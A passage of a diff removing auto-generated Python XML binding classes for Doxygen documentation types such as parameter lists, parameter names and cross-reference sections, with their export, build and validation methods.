pretty_print) - outfile.write('<%s%s%s' % (namespaceprefix_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) - already_processed = set() - self.exportAttributes(outfile, level, already_processed, namespaceprefix_, name_='docLanguageType') - if self.hasContent_(): - outfile.write('>%s' % (eol_, )) - self.exportChildren(outfile, level + 1, namespaceprefix_, namespacedef_, name_='docLanguageType', pretty_print=pretty_print) - showIndent(outfile, level, pretty_print) - outfile.write('%s' % (namespaceprefix_, name_, eol_)) - else: - outfile.write('/>%s' % (eol_, )) - def exportAttributes(self, outfile, level, already_processed, namespaceprefix_='', name_='docLanguageType'): - if self.langid is not None and 'langid' not in already_processed: - already_processed.add('langid') - outfile.write(' langid=%s' % (self.gds_encode(self.gds_format_string(quote_attrib(self.langid), input_name='langid')), )) - def exportChildren(self, outfile, level, namespaceprefix_='', namespacedef_='', name_='docLanguageType', fromsubclass_=False, pretty_print=True): - if pretty_print: - eol_ = '\n' - else: - eol_ = '' - for para_ in self.para: - namespaceprefix_ = self.para_nsprefix_ + ':' if (UseCapturedNS_ and self.para_nsprefix_) else '' - para_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='para', pretty_print=pretty_print) - def build(self, node, gds_collector_=None): - self.gds_collector_ = gds_collector_ - if SaveElementTreeNode: - self.gds_elementtree_node_ = node - already_processed = set() - self.ns_prefix_ = node.prefix - self.buildAttributes(node, node.attrib, already_processed) - for child in node: - nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] - self.buildChildren(child, node, nodeName_, gds_collector_=gds_collector_) - return self - def buildAttributes(self, node, attrs, already_processed): - value = find_attr_value_('langid', node) - if value is not None and 'langid' not in already_processed: - already_processed.add('langid') - self.langid = value - def buildChildren(self, child_, node, nodeName_, fromsubclass_=False, gds_collector_=None): - if nodeName_ == 'para': - obj_ = docParaType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - self.para.append(obj_) - obj_.original_tagname_ = 'para' -# end class docLanguageType - - -class docParamListType(GeneratedsSuper): - __hash__ = GeneratedsSuper.__hash__ - subclass = None - superclass = None - def __init__(self, kind=None, parameteritem=None, gds_collector_=None, **kwargs_): - self.gds_collector_ = gds_collector_ - self.gds_elementtree_node_ = None - self.original_tagname_ = None - self.parent_object_ = kwargs_.get('parent_object_') - self.ns_prefix_ = None - self.kind = _cast(None, kind) - self.kind_nsprefix_ = None - if parameteritem is None: - self.parameteritem = [] - else: - self.parameteritem = parameteritem - self.parameteritem_nsprefix_ = None - def factory(*args_, **kwargs_): - if CurrentSubclassModule_ is not None: - subclass = getSubclassFromModule_( - CurrentSubclassModule_, docParamListType) - if subclass is not None: - return subclass(*args_, **kwargs_) - if docParamListType.subclass: - return docParamListType.subclass(*args_, **kwargs_) - else: - return docParamListType(*args_, **kwargs_) - factory = staticmethod(factory) - def get_ns_prefix_(self): - return self.ns_prefix_ - def set_ns_prefix_(self, ns_prefix): - self.ns_prefix_ = ns_prefix - def get_parameteritem(self): - return self.parameteritem - def set_parameteritem(self, parameteritem): - self.parameteritem = parameteritem - def add_parameteritem(self, value): - self.parameteritem.append(value) - def insert_parameteritem_at(self, index, value): - self.parameteritem.insert(index, value) - def replace_parameteritem_at(self, index, value): - self.parameteritem[index] = value - def get_kind(self): - return self.kind - def set_kind(self, kind): - self.kind = kind - def validate_DoxParamListKind(self, value): - # Validate type DoxParamListKind, a restriction on xsd:string. - if value is not None and Validate_simpletypes_ and self.gds_collector_ is not None: - if not isinstance(value, str): - lineno = self.gds_get_node_lineno_() - self.gds_collector_.add_message('Value "%(value)s"%(lineno)s is not of the correct base simple type (str)' % {"value": value, "lineno": lineno, }) - return False - value = value - enumerations = ['param', 'retval', 'exception', 'templateparam'] - if value not in enumerations: - lineno = self.gds_get_node_lineno_() - self.gds_collector_.add_message('Value "%(value)s"%(lineno)s does not match xsd enumeration restriction on DoxParamListKind' % {"value" : encode_str_2_3(value), "lineno": lineno} ) - result = False - def hasContent_(self): - if ( - self.parameteritem - ): - return True - else: - return False - def export(self, outfile, level, namespaceprefix_='', namespacedef_='', name_='docParamListType', pretty_print=True): - imported_ns_def_ = GenerateDSNamespaceDefs_.get('docParamListType') - if imported_ns_def_ is not None: - namespacedef_ = imported_ns_def_ - if pretty_print: - eol_ = '\n' - else: - eol_ = '' - if self.original_tagname_ is not None and name_ == 'docParamListType': - name_ = self.original_tagname_ - if UseCapturedNS_ and self.ns_prefix_: - namespaceprefix_ = self.ns_prefix_ + ':' - showIndent(outfile, level, pretty_print) - outfile.write('<%s%s%s' % (namespaceprefix_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) - already_processed = set() - self.exportAttributes(outfile, level, already_processed, namespaceprefix_, name_='docParamListType') - if self.hasContent_(): - outfile.write('>%s' % (eol_, )) - self.exportChildren(outfile, level + 1, namespaceprefix_, namespacedef_, name_='docParamListType', pretty_print=pretty_print) - showIndent(outfile, level, pretty_print) - outfile.write('%s' % (namespaceprefix_, name_, eol_)) - else: - outfile.write('/>%s' % (eol_, )) - def exportAttributes(self, outfile, level, already_processed, namespaceprefix_='', name_='docParamListType'): - if self.kind is not None and 'kind' not in already_processed: - already_processed.add('kind') - outfile.write(' kind=%s' % (self.gds_encode(self.gds_format_string(quote_attrib(self.kind), input_name='kind')), )) - def exportChildren(self, outfile, level, namespaceprefix_='', namespacedef_='', name_='docParamListType', fromsubclass_=False, pretty_print=True): - if pretty_print: - eol_ = '\n' - else: - eol_ = '' - for parameteritem_ in self.parameteritem: - namespaceprefix_ = self.parameteritem_nsprefix_ + ':' if (UseCapturedNS_ and self.parameteritem_nsprefix_) else '' - parameteritem_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='parameteritem', pretty_print=pretty_print) - def build(self, node, gds_collector_=None): - self.gds_collector_ = gds_collector_ - if SaveElementTreeNode: - self.gds_elementtree_node_ = node - already_processed = set() - self.ns_prefix_ = node.prefix - self.buildAttributes(node, node.attrib, already_processed) - for child in node: - nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] - self.buildChildren(child, node, nodeName_, gds_collector_=gds_collector_) - return self - def buildAttributes(self, node, attrs, already_processed): - value = find_attr_value_('kind', node) - if value is not None and 'kind' not in already_processed: - already_processed.add('kind') - self.kind = value - self.validate_DoxParamListKind(self.kind) # validate type DoxParamListKind - def buildChildren(self, child_, node, nodeName_, fromsubclass_=False, gds_collector_=None): - if nodeName_ == 'parameteritem': - obj_ = docParamListItem.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - self.parameteritem.append(obj_) - obj_.original_tagname_ = 'parameteritem' -# end class docParamListType - - -class docParamListItem(GeneratedsSuper): - __hash__ = GeneratedsSuper.__hash__ - subclass = None - superclass = None - def __init__(self, parameternamelist=None, parameterdescription=None, gds_collector_=None, **kwargs_): - self.gds_collector_ = gds_collector_ - self.gds_elementtree_node_ = None - self.original_tagname_ = None - self.parent_object_ = kwargs_.get('parent_object_') - self.ns_prefix_ = None - if parameternamelist is None: - self.parameternamelist = [] - else: - self.parameternamelist = parameternamelist - self.parameternamelist_nsprefix_ = None - self.parameterdescription = parameterdescription - self.parameterdescription_nsprefix_ = None - def factory(*args_, **kwargs_): - if CurrentSubclassModule_ is not None: - subclass = getSubclassFromModule_( - CurrentSubclassModule_, docParamListItem) - if subclass is not None: - return subclass(*args_, **kwargs_) - if docParamListItem.subclass: - return docParamListItem.subclass(*args_, **kwargs_) - else: - return docParamListItem(*args_, **kwargs_) - factory = staticmethod(factory) - def get_ns_prefix_(self): - return self.ns_prefix_ - def set_ns_prefix_(self, ns_prefix): - self.ns_prefix_ = ns_prefix - def get_parameternamelist(self): - return self.parameternamelist - def set_parameternamelist(self, parameternamelist): - self.parameternamelist = parameternamelist - def add_parameternamelist(self, value): - self.parameternamelist.append(value) - def insert_parameternamelist_at(self, index, value): - self.parameternamelist.insert(index, value) - def replace_parameternamelist_at(self, index, value): - self.parameternamelist[index] = value - def get_parameterdescription(self): - return self.parameterdescription - def set_parameterdescription(self, parameterdescription): - self.parameterdescription = parameterdescription - def hasContent_(self): - if ( - self.parameternamelist or - self.parameterdescription is not None - ): - return True - else: - return False - def export(self, outfile, level, namespaceprefix_='', namespacedef_='', name_='docParamListItem', pretty_print=True): - imported_ns_def_ = GenerateDSNamespaceDefs_.get('docParamListItem') - if imported_ns_def_ is not None: - namespacedef_ = imported_ns_def_ - if pretty_print: - eol_ = '\n' - else: - eol_ = '' - if self.original_tagname_ is not None and name_ == 'docParamListItem': - name_ = self.original_tagname_ - if UseCapturedNS_ and self.ns_prefix_: - namespaceprefix_ = self.ns_prefix_ + ':' - showIndent(outfile, level, pretty_print) - outfile.write('<%s%s%s' % (namespaceprefix_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) - already_processed = set() - self.exportAttributes(outfile, level, already_processed, namespaceprefix_, name_='docParamListItem') - if self.hasContent_(): - outfile.write('>%s' % (eol_, )) - self.exportChildren(outfile, level + 1, namespaceprefix_, namespacedef_, name_='docParamListItem', pretty_print=pretty_print) - showIndent(outfile, level, pretty_print) - outfile.write('%s' % (namespaceprefix_, name_, eol_)) - else: - outfile.write('/>%s' % (eol_, )) - def exportAttributes(self, outfile, level, already_processed, namespaceprefix_='', name_='docParamListItem'): - pass - def exportChildren(self, outfile, level, namespaceprefix_='', namespacedef_='', name_='docParamListItem', fromsubclass_=False, pretty_print=True): - if pretty_print: - eol_ = '\n' - else: - eol_ = '' - for parameternamelist_ in self.parameternamelist: - namespaceprefix_ = self.parameternamelist_nsprefix_ + ':' if (UseCapturedNS_ and self.parameternamelist_nsprefix_) else '' - parameternamelist_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='parameternamelist', pretty_print=pretty_print) - if self.parameterdescription is not None: - namespaceprefix_ = self.parameterdescription_nsprefix_ + ':' if (UseCapturedNS_ and self.parameterdescription_nsprefix_) else '' - self.parameterdescription.export(outfile, level, namespaceprefix_, namespacedef_='', name_='parameterdescription', pretty_print=pretty_print) - def build(self, node, gds_collector_=None): - self.gds_collector_ = gds_collector_ - if SaveElementTreeNode: - self.gds_elementtree_node_ = node - already_processed = set() - self.ns_prefix_ = node.prefix - self.buildAttributes(node, node.attrib, already_processed) - for child in node: - nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] - self.buildChildren(child, node, nodeName_, gds_collector_=gds_collector_) - return self - def buildAttributes(self, node, attrs, already_processed): - pass - def buildChildren(self, child_, node, nodeName_, fromsubclass_=False, gds_collector_=None): - if nodeName_ == 'parameternamelist': - obj_ = docParamNameList.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - self.parameternamelist.append(obj_) - obj_.original_tagname_ = 'parameternamelist' - elif nodeName_ == 'parameterdescription': - obj_ = descriptionType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - self.parameterdescription = obj_ - obj_.original_tagname_ = 'parameterdescription' -# end class docParamListItem - - -class docParamNameList(GeneratedsSuper): - __hash__ = GeneratedsSuper.__hash__ - subclass = None - superclass = None - def __init__(self, parametertype=None, parametername=None, gds_collector_=None, **kwargs_): - self.gds_collector_ = gds_collector_ - self.gds_elementtree_node_ = None - self.original_tagname_ = None - self.parent_object_ = kwargs_.get('parent_object_') - self.ns_prefix_ = None - if parametertype is None: - self.parametertype = [] - else: - self.parametertype = parametertype - self.parametertype_nsprefix_ = None - if parametername is None: - self.parametername = [] - else: - self.parametername = parametername - self.parametername_nsprefix_ = None - def factory(*args_, **kwargs_): - if CurrentSubclassModule_ is not None: - subclass = getSubclassFromModule_( - CurrentSubclassModule_, docParamNameList) - if subclass is not None: - return subclass(*args_, **kwargs_) - if docParamNameList.subclass: - return docParamNameList.subclass(*args_, **kwargs_) - else: - return docParamNameList(*args_, **kwargs_) - factory = staticmethod(factory) - def get_ns_prefix_(self): - return self.ns_prefix_ - def set_ns_prefix_(self, ns_prefix): - self.ns_prefix_ = ns_prefix - def get_parametertype(self): - return self.parametertype - def set_parametertype(self, parametertype): - self.parametertype = parametertype - def add_parametertype(self, value): - self.parametertype.append(value) - def insert_parametertype_at(self, index, value): - self.parametertype.insert(index, value) - def replace_parametertype_at(self, index, value): - self.parametertype[index] = value - def get_parametername(self): - return self.parametername - def set_parametername(self, parametername): - self.parametername = parametername - def add_parametername(self, value): - self.parametername.append(value) - def insert_parametername_at(self, index, value): - self.parametername.insert(index, value) - def replace_parametername_at(self, index, value): - self.parametername[index] = value - def hasContent_(self): - if ( - self.parametertype or - self.parametername - ): - return True - else: - return False - def export(self, outfile, level, namespaceprefix_='', namespacedef_='', name_='docParamNameList', pretty_print=True): - imported_ns_def_ = GenerateDSNamespaceDefs_.get('docParamNameList') - if imported_ns_def_ is not None: - namespacedef_ = imported_ns_def_ - if pretty_print: - eol_ = '\n' - else: - eol_ = '' - if self.original_tagname_ is not None and name_ == 'docParamNameList': - name_ = self.original_tagname_ - if UseCapturedNS_ and self.ns_prefix_: - namespaceprefix_ = self.ns_prefix_ + ':' - showIndent(outfile, level, pretty_print) - outfile.write('<%s%s%s' % (namespaceprefix_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) - already_processed = set() - self.exportAttributes(outfile, level, already_processed, namespaceprefix_, name_='docParamNameList') - if self.hasContent_(): - outfile.write('>%s' % (eol_, )) - self.exportChildren(outfile, level + 1, namespaceprefix_, namespacedef_, name_='docParamNameList', pretty_print=pretty_print) - showIndent(outfile, level, pretty_print) - outfile.write('%s' % (namespaceprefix_, name_, eol_)) - else: - outfile.write('/>%s' % (eol_, )) - def exportAttributes(self, outfile, level, already_processed, namespaceprefix_='', name_='docParamNameList'): - pass - def exportChildren(self, outfile, level, namespaceprefix_='', namespacedef_='', name_='docParamNameList', fromsubclass_=False, pretty_print=True): - if pretty_print: - eol_ = '\n' - else: - eol_ = '' - for parametertype_ in self.parametertype: - namespaceprefix_ = self.parametertype_nsprefix_ + ':' if (UseCapturedNS_ and self.parametertype_nsprefix_) else '' - parametertype_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='parametertype', pretty_print=pretty_print) - for parametername_ in self.parametername: - namespaceprefix_ = self.parametername_nsprefix_ + ':' if (UseCapturedNS_ and self.parametername_nsprefix_) else '' - parametername_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='parametername', pretty_print=pretty_print) - def build(self, node, gds_collector_=None): - self.gds_collector_ = gds_collector_ - if SaveElementTreeNode: - self.gds_elementtree_node_ = node - already_processed = set() - self.ns_prefix_ = node.prefix - self.buildAttributes(node, node.attrib, already_processed) - for child in node: - nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] - self.buildChildren(child, node, nodeName_, gds_collector_=gds_collector_) - return self - def buildAttributes(self, node, attrs, already_processed): - pass - def buildChildren(self, child_, node, nodeName_, fromsubclass_=False, gds_collector_=None): - if nodeName_ == 'parametertype': - obj_ = docParamType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - self.parametertype.append(obj_) - obj_.original_tagname_ = 'parametertype' - elif nodeName_ == 'parametername': - obj_ = docParamName.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - self.parametername.append(obj_) - obj_.original_tagname_ = 'parametername' -# end class docParamNameList - - -class docParamType(GeneratedsSuper): - __hash__ = GeneratedsSuper.__hash__ - subclass = None - superclass = None - def __init__(self, ref=None, valueOf_=None, mixedclass_=None, content_=None, gds_collector_=None, **kwargs_): - self.gds_collector_ = gds_collector_ - self.gds_elementtree_node_ = None - self.original_tagname_ = None - self.parent_object_ = kwargs_.get('parent_object_') - self.ns_prefix_ = None - self.ref = ref - self.ref_nsprefix_ = None - self.valueOf_ = valueOf_ - if mixedclass_ is None: - self.mixedclass_ = MixedContainer - else: - self.mixedclass_ = mixedclass_ - if content_ is None: - self.content_ = [] - else: - self.content_ = content_ - self.valueOf_ = valueOf_ - def factory(*args_, **kwargs_): - if CurrentSubclassModule_ is not None: - subclass = getSubclassFromModule_( - CurrentSubclassModule_, docParamType) - if subclass is not None: - return subclass(*args_, **kwargs_) - if docParamType.subclass: - return docParamType.subclass(*args_, **kwargs_) - else: - return docParamType(*args_, **kwargs_) - factory = staticmethod(factory) - def get_ns_prefix_(self): - return self.ns_prefix_ - def set_ns_prefix_(self, ns_prefix): - self.ns_prefix_ = ns_prefix - def get_ref(self): - return self.ref - def set_ref(self, ref): - self.ref = ref - def get_valueOf_(self): return self.valueOf_ - def set_valueOf_(self, valueOf_): self.valueOf_ = valueOf_ - def hasContent_(self): - if ( - self.ref is not None or - (1 if type(self.valueOf_) in [int,float] else self.valueOf_) or - self.content_ - ): - return True - else: - return False - def export(self, outfile, level, namespaceprefix_='', namespacedef_='', name_='docParamType', pretty_print=True): - imported_ns_def_ = GenerateDSNamespaceDefs_.get('docParamType') - if imported_ns_def_ is not None: - namespacedef_ = imported_ns_def_ - if pretty_print: - eol_ = '\n' - else: - eol_ = '' - if self.original_tagname_ is not None and name_ == 'docParamType': - name_ = self.original_tagname_ - if UseCapturedNS_ and self.ns_prefix_: - namespaceprefix_ = self.ns_prefix_ + ':' - showIndent(outfile, level, pretty_print) - outfile.write('<%s%s%s' % (namespaceprefix_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) - already_processed = set() - self.exportAttributes(outfile, level, already_processed, namespaceprefix_, name_='docParamType') - if self.hasContent_(): - outfile.write('>%s' % (eol_, )) - self.exportChildren(outfile, level + 1, namespaceprefix_, namespacedef_, name_='docParamType', pretty_print=pretty_print) - showIndent(outfile, level, pretty_print) - outfile.write('%s' % (namespaceprefix_, name_, eol_)) - else: - outfile.write('/>%s' % (eol_, )) - def exportAttributes(self, outfile, level, already_processed, namespaceprefix_='', name_='docParamType'): - pass - def exportChildren(self, outfile, level, namespaceprefix_='', namespacedef_='', name_='docParamType', fromsubclass_=False, pretty_print=True): - if not fromsubclass_: - for item_ in self.content_: - item_.export(outfile, level, item_.name, namespaceprefix_, pretty_print=pretty_print) - if pretty_print: - eol_ = '\n' - else: - eol_ = '' - if self.ref is not None: - namespaceprefix_ = self.ref_nsprefix_ + ':' if (UseCapturedNS_ and self.ref_nsprefix_) else '' - self.ref.export(outfile, level, namespaceprefix_, namespacedef_='', name_='ref', pretty_print=pretty_print) - def build(self, node, gds_collector_=None): - self.gds_collector_ = gds_collector_ - if SaveElementTreeNode: - self.gds_elementtree_node_ = node - already_processed = set() - self.ns_prefix_ = node.prefix - self.buildAttributes(node, node.attrib, already_processed) - self.valueOf_ = get_all_text_(node) - if node.text is not None: - obj_ = self.mixedclass_(MixedContainer.CategoryText, - MixedContainer.TypeNone, '', node.text) - self.content_.append(obj_) - for child in node: - nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] - self.buildChildren(child, node, nodeName_, gds_collector_=gds_collector_) - return self - def buildAttributes(self, node, attrs, already_processed): - pass - def buildChildren(self, child_, node, nodeName_, fromsubclass_=False, gds_collector_=None): - if nodeName_ == 'ref': - obj_ = refTextType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'ref', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_ref'): - self.add_ref(obj_.value) - elif hasattr(self, 'set_ref'): - self.set_ref(obj_.value) - if not fromsubclass_ and child_.tail is not None: - obj_ = self.mixedclass_(MixedContainer.CategoryText, - MixedContainer.TypeNone, '', child_.tail) - self.content_.append(obj_) -# end class docParamType - - -class docParamName(GeneratedsSuper): - __hash__ = GeneratedsSuper.__hash__ - subclass = None - superclass = None - def __init__(self, direction=None, ref=None, valueOf_=None, mixedclass_=None, content_=None, gds_collector_=None, **kwargs_): - self.gds_collector_ = gds_collector_ - self.gds_elementtree_node_ = None - self.original_tagname_ = None - self.parent_object_ = kwargs_.get('parent_object_') - self.ns_prefix_ = None - self.direction = _cast(None, direction) - self.direction_nsprefix_ = None - self.ref = ref - self.ref_nsprefix_ = None - self.valueOf_ = valueOf_ - if mixedclass_ is None: - self.mixedclass_ = MixedContainer - else: - self.mixedclass_ = mixedclass_ - if content_ is None: - self.content_ = [] - else: - self.content_ = content_ - self.valueOf_ = valueOf_ - def factory(*args_, **kwargs_): - if CurrentSubclassModule_ is not None: - subclass = getSubclassFromModule_( - CurrentSubclassModule_, docParamName) - if subclass is not None: - return subclass(*args_, **kwargs_) - if docParamName.subclass: - return docParamName.subclass(*args_, **kwargs_) - else: - return docParamName(*args_, **kwargs_) - factory = staticmethod(factory) - def get_ns_prefix_(self): - return self.ns_prefix_ - def set_ns_prefix_(self, ns_prefix): - self.ns_prefix_ = ns_prefix - def get_ref(self): - return self.ref - def set_ref(self, ref): - self.ref = ref - def get_direction(self): - return self.direction - def set_direction(self, direction): - self.direction = direction - def get_valueOf_(self): return self.valueOf_ - def set_valueOf_(self, valueOf_): self.valueOf_ = valueOf_ - def validate_DoxParamDir(self, value): - # Validate type DoxParamDir, a restriction on xsd:string. - if value is not None and Validate_simpletypes_ and self.gds_collector_ is not None: - if not isinstance(value, str): - lineno = self.gds_get_node_lineno_() - self.gds_collector_.add_message('Value "%(value)s"%(lineno)s is not of the correct base simple type (str)' % {"value": value, "lineno": lineno, }) - return False - value = value - enumerations = ['in', 'out', 'inout'] - if value not in enumerations: - lineno = self.gds_get_node_lineno_() - self.gds_collector_.add_message('Value "%(value)s"%(lineno)s does not match xsd enumeration restriction on DoxParamDir' % {"value" : encode_str_2_3(value), "lineno": lineno} ) - result = False - def hasContent_(self): - if ( - self.ref is not None or - (1 if type(self.valueOf_) in [int,float] else self.valueOf_) or - self.content_ - ): - return True - else: - return False - def export(self, outfile, level, namespaceprefix_='', namespacedef_='', name_='docParamName', pretty_print=True): - imported_ns_def_ = GenerateDSNamespaceDefs_.get('docParamName') - if imported_ns_def_ is not None: - namespacedef_ = imported_ns_def_ - if pretty_print: - eol_ = '\n' - else: - eol_ = '' - if self.original_tagname_ is not None and name_ == 'docParamName': - name_ = self.original_tagname_ - if UseCapturedNS_ and self.ns_prefix_: - namespaceprefix_ = self.ns_prefix_ + ':' - showIndent(outfile, level, pretty_print) - outfile.write('<%s%s%s' % (namespaceprefix_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) - already_processed = set() - self.exportAttributes(outfile, level, already_processed, namespaceprefix_, name_='docParamName') - if self.hasContent_(): - outfile.write('>%s' % (eol_, )) - self.exportChildren(outfile, level + 1, namespaceprefix_, namespacedef_, name_='docParamName', pretty_print=pretty_print) - showIndent(outfile, level, pretty_print) - outfile.write('%s' % (namespaceprefix_, name_, eol_)) - else: - outfile.write('/>%s' % (eol_, )) - def exportAttributes(self, outfile, level, already_processed, namespaceprefix_='', name_='docParamName'): - if self.direction is not None and 'direction' not in already_processed: - already_processed.add('direction') - outfile.write(' direction=%s' % (self.gds_encode(self.gds_format_string(quote_attrib(self.direction), input_name='direction')), )) - def exportChildren(self, outfile, level, namespaceprefix_='', namespacedef_='', name_='docParamName', fromsubclass_=False, pretty_print=True): - if not fromsubclass_: - for item_ in self.content_: - item_.export(outfile, level, item_.name, namespaceprefix_, pretty_print=pretty_print) - if pretty_print: - eol_ = '\n' - else: - eol_ = '' - if self.ref is not None: - namespaceprefix_ = self.ref_nsprefix_ + ':' if (UseCapturedNS_ and self.ref_nsprefix_) else '' - self.ref.export(outfile, level, namespaceprefix_, namespacedef_='', name_='ref', pretty_print=pretty_print) - def build(self, node, gds_collector_=None): - self.gds_collector_ = gds_collector_ - if SaveElementTreeNode: - self.gds_elementtree_node_ = node - already_processed = set() - self.ns_prefix_ = node.prefix - self.buildAttributes(node, node.attrib, already_processed) - self.valueOf_ = get_all_text_(node) - if node.text is not None: - obj_ = self.mixedclass_(MixedContainer.CategoryText, - MixedContainer.TypeNone, '', node.text) - self.content_.append(obj_) - for child in node: - nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] - self.buildChildren(child, node, nodeName_, gds_collector_=gds_collector_) - return self - def buildAttributes(self, node, attrs, already_processed): - value = find_attr_value_('direction', node) - if value is not None and 'direction' not in already_processed: - already_processed.add('direction') - self.direction = value - self.validate_DoxParamDir(self.direction) # validate type DoxParamDir - def buildChildren(self, child_, node, nodeName_, fromsubclass_=False, gds_collector_=None): - if nodeName_ == 'ref': - obj_ = refTextType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'ref', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_ref'): - self.add_ref(obj_.value) - elif hasattr(self, 'set_ref'): - self.set_ref(obj_.value) - if not fromsubclass_ and child_.tail is not None: - obj_ = self.mixedclass_(MixedContainer.CategoryText, - MixedContainer.TypeNone, '', child_.tail) - self.content_.append(obj_) -# end class docParamName - - -class docXRefSectType(GeneratedsSuper): - __hash__ = GeneratedsSuper.__hash__ - subclass = None - superclass = None - def __init__(self, id=None, xreftitle=None, xrefdescription=None, gds_collector_=None, **kwargs_): - self.gds_collector_ = gds_collector_ - self.gds_elementtree_node_ = None - self.original_tagname_ = None - self.parent_object_ = kwargs_.get('parent_object_') - self.ns_prefix_ = None - self.id = _cast(None, id) - self.id_nsprefix_ = None - if xreftitle is None: - self.xreftitle = [] - else: - self.xreftitle = xreftitle - self.xreftitle_nsprefix_ = None - self.xrefdescription = xrefdescription - self.xrefdescription_nsprefix_ = None - def factory(*args_, **kwargs_): - if CurrentSubclassModule_ is not None: - subclass = getSubclassFromModule_( - CurrentSubclassModule_, docXRefSectType) - if subclass is not None: - return subclass(*args_, **kwargs_) - if docXRefSectType.subclass: - return docXRefSectType.subclass(*args_, **kwargs_) - else: - return docXRefSectType(*args_, **kwargs_) - factory = staticmethod(factory) - def get_ns_prefix_(self): - return self.ns_prefix_ - def set_ns_prefix_(self, ns_prefix): - self.ns_prefix_ = ns_prefix - def get_xreftitle(self): - return self.xreftitle - def set_xreftitle(self, xreftitle): - self.xreftitle = xreftitle - def add_xreftitle(self, value): - self.xreftitle.append(value) - def insert_xreftitle_at(self, index, value): - self.xreftitle.insert(index, value) - def replace_xreftitle_at(self, index, value): - self.xreftitle[index] = value - def get_xrefdescription(self): - return self.xrefdescription - def set_xrefdescription(self, xrefdescription): - self.xrefdescription = xrefdescription - def get_id(self): - return self.id - def set_id(self, id): - self.id = id - def hasContent_(self): - if ( - self.xreftitle or - self.xrefdescription is not None - ): - return True - else: - return False - def export(self, outfile, level, namespaceprefix_='', namespacedef_='', name_='docXRefSectType', pretty_print=True): - imported_ns_def_ = GenerateDSNamespaceDefs_.get('docXRefSectType') - if imported_ns_def_ is not None: - namespacedef_ = imported_ns_def_ - if pretty_print: - eol_ = '\n' - else: - eol_ = '' - if self.original_tagname_ is not None and name_ == 'docXRefSectType': - name_ = self.original_tagname_ - if UseCapturedNS_ and self.ns_prefix_: - namespaceprefix_ = self.ns_prefix_ + ':' - showIndent(outfile, level, pretty_print) - outfile.write('<%s%s%s' % (namespaceprefix_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) - already_processed = set() - self.exportAttributes(outfile, level, already_processed, namespaceprefix_, name_='docXRefSectType') - if self.hasContent_(): - outfile.write('>%s' % (eol_, )) - self.exportChildren(outfile, level + 1, namespaceprefix_, namespacedef_, name_='docXRefSectType', pretty_print=pretty_print) - showIndent(outfile, level, pretty_print) - outfile.write('%s' % (namespaceprefix_, name_, eol_)) - else: - outfile.write('/>%s' % (eol_, )) - def exportAttributes(self, outfile, level, already_processed, namespaceprefix_='', name_='docXRefSectType'): - if self.id is not None and 'id' not in already_processed: - already_processed.add('id') - outfile.write(' id=%s' % (self.gds_encode(self.gds_format_string(quote_attrib(self.id), input_name='id')), )) - def exportChildren(self, outfile, level, namespaceprefix_='', namespacedef_='', name_='docXRefSectType', fromsubclass_=False, pretty_print=True): - if pretty_print: - eol_ = '\n' - else: - eol_ = '' - for xreftitle_ in self.xreftitle: - namespaceprefix_ = self.xreftitle_nsprefix_ + ':' if (UseCapturedNS_ and self.xreftitle_nsprefix_) else '' - showIndent(outfile, level, pretty_print) - outfile.write('<%sxreftitle>%s%s' % (namespaceprefix_ , self.gds_encode(self.gds_format_string(quote_xml(xreftitle_), input_name='xreftitle')), namespaceprefix_ , eol_)) - if self.xrefdescription is not None: - namespaceprefix_ = self.xrefdescription_nsprefix_ + ':' if (UseCapturedNS_ and self.xrefdescription_nsprefix_) else '' - self.xrefdescription.export(outfile, level, namespaceprefix_, namespacedef_='', name_='xrefdescription', pretty_print=pretty_print) - def build(self, node, gds_collector_=None): - self.gds_collector_ = gds_collector_ - if SaveElementTreeNode: - self.gds_elementtree_node_ = node - already_processed = set() - self.ns_prefix_ = node.prefix - self.buildAttributes(node, node.attrib, already_processed) - for child in node: - nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] - self.buildChildren(child, node, nodeName_, gds_collector_=gds_collector_) - return self - def buildAttributes(self, node, attrs, already_processed): - value = find_attr_value_('id', node) - if value is not None and 'id' not in already_processed: - already_processed.add('id') - self.id = value - def buildChildren(self, child_, node, nodeName_, fromsubclass_=False, gds_collector_=None): - if nodeName_ == 'xreftitle': - value_ = child_.text - value_ = self.gds_parse_string(value_, node, 'xreftitle') - value_ = self.gds_validate_string(value_, node, 'xreftitle') - self.xreftitle.append(value_) - self.xreftitle_nsprefix_ = child_.prefix - elif nodeName_ == 'xrefdescription': - obj_ = descriptionType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - self.xrefdescription = obj_ - obj_.original_tagname_ = 'xrefdescription' -# end class docXRefSectType - - -class docCopyType(GeneratedsSuper): - __hash__ = GeneratedsSuper.__hash__ - subclass = None - superclass = None - def __init__(self, link=None, para=None, sect1=None, internal=None, gds_collector_=None, **kwargs_): - self.gds_collector_ = gds_collector_ - self.gds_elementtree_node_ = None - self.original_tagname_ = None - 